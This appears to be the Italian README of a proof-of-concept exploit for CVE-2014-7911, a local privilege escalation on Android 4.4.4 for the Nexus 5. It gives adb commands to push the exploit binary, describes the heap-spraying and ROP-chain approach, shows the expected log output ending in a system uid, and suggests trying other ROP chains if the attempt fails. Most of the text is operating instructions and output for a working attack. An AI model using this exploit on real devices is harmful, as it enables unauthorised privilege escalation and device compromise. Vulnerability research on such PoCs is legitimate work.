
Proof-of-concept exploit per l'escalation dei privilegi locali su Android (CVE-2014-7911) che mira a Nexus5 con catena ROP e heap spraying per ottenere l'uid di sistema.
POC per CVE-2014-7911 per Nexus5 Android 4.4.4_r1 basato su retme7, usa una catena ROP diversa
collega il tuo telefono tramite adb
adb push jni/expolit /data/local/tmp
adb logcat | grep auo_
lancia questo POC, fai clic sul pulsante “CVE-2014-7911”, vedrai:
D/auo_CVE20147911(24892): staticAddr = 0x43a1f000
D/auo_CVE20147911(24892): heap sparying... 0
D/auo_CVE20147911(24892): heap sparying... 100
D/auo_CVE20147911(24892): heap sparying... 200
D/auo_CVE20147911(24892): heap sparying... 300
D/auo_CVE20147911(24892): heap sparying... 400
D/auo_CVE20147911(24892): heap sparying... 500
D/auo_CVE20147911(24892): heap sparying... 600
D/auo_CVE20147911(24892): heap sparying... 700
D/auo_CVE20147911(24892): heap sparying... 800
D/auo_CVE20147911(24892): heap sparying... 900
D/auo_CVE20147911(24892): heap sparying... 1000
D/auo_CVE20147911(24892): heap sparying... 1100
D/auo_CVE20147911(24892): heap sparying... 1200
D/auo_CVE20147911(24892): heap sparying... 1300
D/auo_CVE20147911(24892): heap sparying... 1400
D/auo_CVE20147911(24892): heap sparying... 1500
D/auo_CVE20147911(24892): heap sparying... 1600
D/auo_CVE20147911(24892): heap sparying... 1700
D/auo_CVE20147911(24892): heap sparying... 1800
D/auo_CVE20147911(24892): heap sparying... 1900
Quindi riduci a icona l'attività più volte finché il sistema non va in crash; se vedi:
D/auo_exploit(22665): uid=1000(system) gid=1000(system)
l'exploit è riuscito; se il tuo telefono si limita a bloccarsi, il tuo dispositivo è vulnerabile, l'exploit potrebbe essere fallito (dovresti trovare catene ROP diverse).